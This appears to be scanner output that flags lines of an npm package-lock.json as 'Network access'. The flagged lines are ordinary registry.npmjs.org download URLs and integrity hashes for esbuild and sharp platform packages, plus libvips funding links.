"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.1.tgz", "integrity": "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==", - Network accessline 427
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.1.tgz", - Network accessline 442
"node_modules/@esbuild/freebsd-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.1.tgz", - Network accessline 443
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.1.tgz", "integrity": "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==", - Network accessline 444
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.1.tgz", - Network accessline 459
"node_modules/@esbuild/linux-arm": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.1.tgz", - Network accessline 460
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.1.tgz", "integrity": "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==", - Network accessline 461
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.1.tgz", - Network accessline 476
"node_modules/@esbuild/linux-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.1.tgz", - Network accessline 477
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.1.tgz", "integrity": "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==", - Network accessline 478
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.1.tgz", - Network accessline 493
"node_modules/@esbuild/linux-ia32": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.1.tgz", - Network accessline 494
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.1.tgz", "integrity": "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==", - Network accessline 495
"resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.1.tgz", - Network accessline 510
"node_modules/@esbuild/linux-loong64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.1.tgz", - Network accessline 511
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.1.tgz", "integrity": "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==", - Network accessline 512
"resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.1.tgz", - Network accessline 527
"node_modules/@esbuild/linux-mips64el": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.1.tgz", - Network accessline 528
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.1.tgz", "integrity": "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==", - Network accessline 529
"resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.1.tgz", - Network accessline 544
"node_modules/@esbuild/linux-ppc64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.1.tgz", - Network accessline 545
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.1.tgz", "integrity": "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==", - Network accessline 546
"resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.1.tgz", - Network accessline 561
"node_modules/@esbuild/linux-riscv64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.1.tgz", - Network accessline 562
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.1.tgz", "integrity": "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==", - Network accessline 563
"resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.1.tgz", - Network accessline 578
"node_modules/@esbuild/linux-s390x": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.1.tgz", - Network accessline 579
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.1.tgz", "integrity": "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==", - Network accessline 580
"resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.1.tgz", - Network accessline 595
"node_modules/@esbuild/linux-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.1.tgz", - Network accessline 596
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.1.tgz", "integrity": "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==", - Network accessline 597
"resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.1.tgz", - Network accessline 612
"node_modules/@esbuild/netbsd-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.1.tgz", - Network accessline 613
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.1.tgz", "integrity": "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==", - Network accessline 614
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.1.tgz", - Network accessline 629
"node_modules/@esbuild/netbsd-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.1.tgz", - Network accessline 630
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.1.tgz", "integrity": "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==", - Network accessline 631
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.1.tgz", - Network accessline 646
"node_modules/@esbuild/openbsd-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.1.tgz", - Network accessline 647
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.1.tgz", "integrity": "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==", - Network accessline 648
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.1.tgz", - Network accessline 663
"node_modules/@esbuild/openbsd-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.1.tgz", - Network accessline 664
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.1.tgz", "integrity": "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==", - Network accessline 665
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.1.tgz", - Network accessline 680
"node_modules/@esbuild/openharmony-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.1.tgz", - Network accessline 681
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.1.tgz", "integrity": "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg - Network accessline 682
"resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.1.tgz", - Network accessline 697
"node_modules/@esbuild/sunos-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.1.tgz", - Network accessline 698
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.1.tgz", "integrity": "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==", - Network accessline 699
"resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.1.tgz", - Network accessline 714
"node_modules/@esbuild/win32-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.1.tgz", - Network accessline 715
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.1.tgz", "integrity": "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==", - Network accessline 716
"resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.1.tgz", - Network accessline 731
"node_modules/@esbuild/win32-ia32": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.1.tgz", - Network accessline 732
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.1.tgz", "integrity": "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==", - Network accessline 733
"resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.1.tgz", - Network accessline 748
"node_modules/@esbuild/win32-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.1.tgz", - Network accessline 749
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.1.tgz", "integrity": "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==", - Network accessline 750
"resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.1.tgz", - Network accessline 765
"node_modules/@img/colour": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", - Network accessline 766
"version": "1.1.0", "resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", "integrity": "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==", - Network accessline 767
"resolved": "https://registry.npmjs.org/@img/colour/-/colour-1.1.0.tgz", - Network accessline 775
"node_modules/@img/sharp-darwin-arm64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.35.2.tgz", - Network accessline 776
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.35.2.tgz", "integrity": "sha512-eEieHsMksAW4IiO5NzauESRl2D2qz3J/kwUxUrSfV06A93eEaRfMpHXyUb1mAqrR7i8U9A0GRqE9pjn6u1Jjpg== - Network accessline 777
"resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.35.2.tgz", - Network accessline 790
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 791
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 792
"url": "https://opencollective.com/libvips" - Network accessline 798
"node_modules/@img/sharp-darwin-x64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.35.2.tgz", - Network accessline 799
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.35.2.tgz", "integrity": "sha512-BaktuGPCeHJMARpodR8jK4uKiZrPAy9WrfQW0sdI37clracq8Bp01AYS3SZgi5FS/y5twa9t4+LIuuxQjqRrWw==", - Network accessline 800
"resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.35.2.tgz", - Network accessline 813
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 814
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 815
"url": "https://opencollective.com/libvips" - Network accessline 821
"node_modules/@img/sharp-freebsd-wasm32": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-freebsd-wasm32/-/sharp-freebsd-wasm32-0.35.2.tgz", - Network accessline 822
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-freebsd-wasm32/-/sharp-freebsd-wasm32-0.35.2.tgz", "integrity": "sha512-YoAxdnd8hPUkvLHd3bWY+YA8nw3xM/RyRopYucNsWHVSan8NLVM3X2volsfoRDcXdUJPg6tXahSd7HXPK7lR - Network accessline 823
"resolved": "https://registry.npmjs.org/@img/sharp-freebsd-wasm32/-/sharp-freebsd-wasm32-0.35.2.tgz", - Network accessline 836
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 837
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 838
"url": "https://opencollective.com/libvips" - Network accessline 841
"node_modules/@img/sharp-libvips-darwin-arm64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.3.1.tgz", - Network accessline 842
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.3.1.tgz", "integrity": "sha512-4V/M3roRMTYjiwZY9IOVQOE8OyeCxFAkYmyZDrZl51uOKjibm3oeEJ4WAmLxutAfzFbC9jqUiP - Network accessline 843
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.3.1.tgz", - Network accessline 853
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 854
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 855
"url": "https://opencollective.com/libvips" - Network accessline 858
"node_modules/@img/sharp-libvips-darwin-x64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.3.1.tgz", - Network accessline 859
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.3.1.tgz", "integrity": "sha512-c0/DxItpJv2+dGhgycJBBgotdqruGYDvA79drdh0MD1dFpy7JzJ/PlXwi1H4rFf0eTy8tgbI91aHDn - Network accessline 860
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.3.1.tgz", - Network accessline 870
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 871
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 872
"url": "https://opencollective.com/libvips" - Network accessline 875
"node_modules/@img/sharp-libvips-linux-arm": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.3.1.tgz", - Network accessline 876
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.3.1.tgz", "integrity": "sha512-aGGy9aWzXgHBG7HNyQPWorZthlp7+x6fDRoPAQbGO3ThcttuTyKIx3NuSHb6zb4gBNq6/yNn9f1cy9nF - Network accessline 877
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.3.1.tgz", - Network accessline 890
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 891
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 892
"url": "https://opencollective.com/libvips" - Network accessline 895
"node_modules/@img/sharp-libvips-linux-arm64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.3.1.tgz", - Network accessline 896
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.3.1.tgz", "integrity": "sha512-JznefmcK9j1JKPz8AkQDh89kjojubyfOasWBPKfzMIhPwsgDy9evpE/naJTXXXmghS1iFwR8u/kT - Network accessline 897
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.3.1.tgz", - Network accessline 910
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 911
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 912
"url": "https://opencollective.com/libvips" - Network accessline 915
"node_modules/@img/sharp-libvips-linux-ppc64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.3.1.tgz", - Network accessline 916
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.3.1.tgz", "integrity": "sha512-1EkwGNCZk6iWNCMWqrvdJ+r1j0PT1zIz60CNPhYnJlK/zyeWqlsPZIe+ocBVqPF8k/Ssee/NCk+t - Network accessline 917
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.3.1.tgz", - Network accessline 930
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 931
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 932
"url": "https://opencollective.com/libvips" - Network accessline 935
"node_modules/@img/sharp-libvips-linux-riscv64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.3.1.tgz", - Network accessline 936
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.3.1.tgz", "integrity": "sha512-Ilays+w2bXdnxzxtQdmXR62u8o8GYa3eL4+Gr+1KiE4xperMZUslRaVPJwwPkzlHEjGfXAfR - Network accessline 937
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-riscv64/-/sharp-libvips-linux-riscv64-1.3.1.tgz", - Network accessline 950
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 951
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 952
"url": "https://opencollective.com/libvips" - Network accessline 955
"node_modules/@img/sharp-libvips-linux-s390x": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.3.1.tgz", - Network accessline 956
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.3.1.tgz", "integrity": "sha512-VfBwVHQTbRoj4XlpA/KLZ7ltgMpz+4WSejFzQ+GnoImjo1PtEJ59QB2qR1xQEeRPYIkNrPIm2L4c - Network accessline 957
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.3.1.tgz", - Network accessline 970
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 971
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 972
"url": "https://opencollective.com/libvips" - Network accessline 975
"node_modules/@img/sharp-libvips-linux-x64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.3.1.tgz", - Network accessline 976
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.3.1.tgz", "integrity": "sha512-+c8ukgwU62DS54nCAjw7keOfHUkmr0B5QHEdcOqRnodF/MNXJbVI8Eopoj4B/0H8Asr65I+A4Amrn7a8 - Network accessline 977
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.3.1.tgz", - Network accessline 990
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 991
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 992
"url": "https://opencollective.com/libvips" - Network accessline 995
"node_modules/@img/sharp-libvips-linuxmusl-arm64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.3.1.tgz", - Network accessline 996
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.3.1.tgz", "integrity": "sha512-qlKb/pwbkAi1WMsJrYHk7CuDrd12s27U2QnRhFYUoJNrRCmkosMTttuRFat/DDB3IlDm - Network accessline 997
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.3.1.tgz", - Network accessline 1010
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1011
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1012
"url": "https://opencollective.com/libvips" - Network accessline 1015
"node_modules/@img/sharp-libvips-linuxmusl-x64": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.3.1.tgz", - Network accessline 1016
"version": "1.3.1", "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.3.1.tgz", "integrity": "sha512-yO21HwoUVLN8Qa+/SBjQLMYwBWAVJjeGPNe+hc0OUeMeifEtJqu5a1c4HayE1nNpDih9y3/K - Network accessline 1017
"resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.3.1.tgz", - Network accessline 1030
], "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1031
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1032
"url": "https://opencollective.com/libvips" - Network accessline 1035
"node_modules/@img/sharp-linux-arm": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.35.2.tgz", - Network accessline 1036
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.35.2.tgz", "integrity": "sha512-SE4kzF2mepn6z+6E7L6lsV8FzuLL6IPQdyX8ZiwROAG/G8td+hP/m7FsFPwidtrF19gvajuC9l6TxAVcsA4S7A==", - Network accessline 1037
"resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.35.2.tgz", - Network accessline 1053
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1054
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1055
"url": "https://opencollective.com/libvips" - Network accessline 1061
"node_modules/@img/sharp-linux-arm64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.35.2.tgz", - Network accessline 1062
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.35.2.tgz", "integrity": "sha512-af12Pnd0ZGu2HfP8NayB0kk6eC/lrfbQE6HlR4jD+34wdJ1Vw9TF6TMn6ZvffT+WgqVsl0hRbmNvz2u/23VmwA==", - Network accessline 1063
"resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.35.2.tgz", - Network accessline 1079
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1080
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1081
"url": "https://opencollective.com/libvips" - Network accessline 1087
"node_modules/@img/sharp-linux-ppc64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.35.2.tgz", - Network accessline 1088
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.35.2.tgz", "integrity": "sha512-hYSBm7zcNtDCozCxQHYZJiu63b/bXsgRZuOxCIBZsStMM9Vap47iFHdbX4kCvQsblPB/k+clhELpdQJHQLSHvg==", - Network accessline 1089
"resolved": "https://registry.npmjs.org/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.35.2.tgz", - Network accessline 1105
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1106
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1107
"url": "https://opencollective.com/libvips" - Network accessline 1113
"node_modules/@img/sharp-linux-riscv64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.35.2.tgz", - Network accessline 1114
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.35.2.tgz", "integrity": "sha512-qQt0Kc13+Hoan/Awq/qMSQw3L+RI1NCRPgD5cUJ/1WSSmIoysLOc72jlRM3E0OHN9Yr313jgeQ2T+zW+F03QFA - Network accessline 1115
"resolved": "https://registry.npmjs.org/@img/sharp-linux-riscv64/-/sharp-linux-riscv64-0.35.2.tgz", - Network accessline 1131
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1132
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1133
"url": "https://opencollective.com/libvips" - Network accessline 1139
"node_modules/@img/sharp-linux-s390x": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.35.2.tgz", - Network accessline 1140
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.35.2.tgz", "integrity": "sha512-E4fLLfRPzDLlEeDaTzI98OFLcv++WL5ChLLMwPoVd0CIoZQqupBSNbOisPL5am9XsbQ9T84+iiMpUvbFtkunbA==", - Network accessline 1141
"resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.35.2.tgz", - Network accessline 1157
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1158
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1159
"url": "https://opencollective.com/libvips" - Network accessline 1165
"node_modules/@img/sharp-linux-x64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.35.2.tgz", - Network accessline 1166
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.35.2.tgz", "integrity": "sha512-gi0zFJJRLswfCZmHtJdikXPOc5u7qamSOS3NHedLqLd4W8Q0NqjdBr6TTRIgsfFjqfTsHFgdfvJ9LwqSgcHiAA==", - Network accessline 1167
"resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.35.2.tgz", - Network accessline 1183
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1184
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1185
"url": "https://opencollective.com/libvips" - Network accessline 1191
"node_modules/@img/sharp-linuxmusl-arm64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.35.2.tgz", - Network accessline 1192
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.35.2.tgz", "integrity": "sha512-siWbOW1u6HFnFLrp0waKyW7VEf7jYvcDWdrXEFa8AkdAQgEvuu5Fz8/Y70w9EeqAdwDtfU012BhEHHaDqv - Network accessline 1193
